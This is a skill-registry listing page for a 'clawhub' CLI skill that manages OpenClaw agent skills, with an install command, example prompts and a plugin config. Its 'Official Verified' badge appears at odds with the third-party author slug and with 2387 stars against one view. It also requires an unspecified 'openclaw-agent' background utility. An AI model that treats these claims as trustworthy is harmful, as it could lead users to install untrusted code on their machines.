ClawKit Logo
ClawKitReliability Toolkit
Back to Registry
Official Verified developer tools Safety 3/5

clawhub

Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.

Why use this skill?

Use ClawHub to search, install, and manage OpenClaw agent skills. Streamline your workflow with automated updates and easy publishing tools.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/clawhub-hh2km
Or

What This Skill Does

The clawhub skill provides a comprehensive command-line interface (CLI) to interact with the official OpenClaw skill registry. It serves as a centralized management hub for agent capabilities, allowing developers and power users to discover, retrieve, and deploy new functionality seamlessly. By interfacing with clawhub.com, this skill bridges the gap between local environment execution and the global repository of agent tools. It facilitates full life-cycle management, including installation, version control, automated updates, and the publication of custom-built agent skills. Through its native integration with the openclaw-agent, it ensures that your environment remains synchronized with the latest security patches and feature updates available on the registry.

Installation

To begin, ensure you have the openclaw-agent utility installed and running on your system (see specific instructions for Windows and macOS provided in the prerequisites). Once the background agent is active, install the CLI globally via npm using: npm i -g clawhub. After installation, you can initialize your session by running clawhub login to authenticate your account, followed by clawhub whoami to verify that your credentials have been correctly configured for publishing or private repository access.

Use Cases

This skill is ideal for developers maintaining a modular agent architecture. Use it to bootstrap new projects by pulling community-vetted skills, such as specialized database connectors or API integration tools. It is also essential for teams that need to keep their agent infrastructure consistent across multiple environments; by utilizing the clawhub update --all command, you can ensure every agent instance is running the exact same verified versions of all dependencies. Furthermore, it serves as an excellent distribution channel for custom skills created in-house.

Example Prompts

  1. "Use clawhub to search for the latest postgres integration tools and install the most stable version."
  2. "Update all my installed agent skills to their latest versions and force overwrite any local modifications."
  3. "Publish the skill in my current directory './data-processor' as a new package named 'data-processor' with version 1.0.1."

Tips & Limitations

Always verify that your openclaw-agent process is active, as most commands will fail silently or throw errors if the bridge is not communicating with the local runtime. When using the update command, be aware that the system performs hash-based matching to check your local files; if you have manually modified a skill, the update might overwrite your changes unless you have backed them up or pushed them to the registry. For advanced configurations, you can override the default registry or working directory using the --registry or --workdir flags, which is particularly useful for private organizational skill servers.

Metadata

Stars2387
Views1
Updated2026-03-09
View Author Profile
AI Skill Finder

Not sure this is the right skill?

Describe what you want to build — we'll match you to the best skill from 16,000+ options.

Find the right skill
Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-clawhub-hh2km": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#cli#package-manager#agent-framework#deployment
Safety Score: 3/5

Flags: network-access, file-write, file-read, code-execution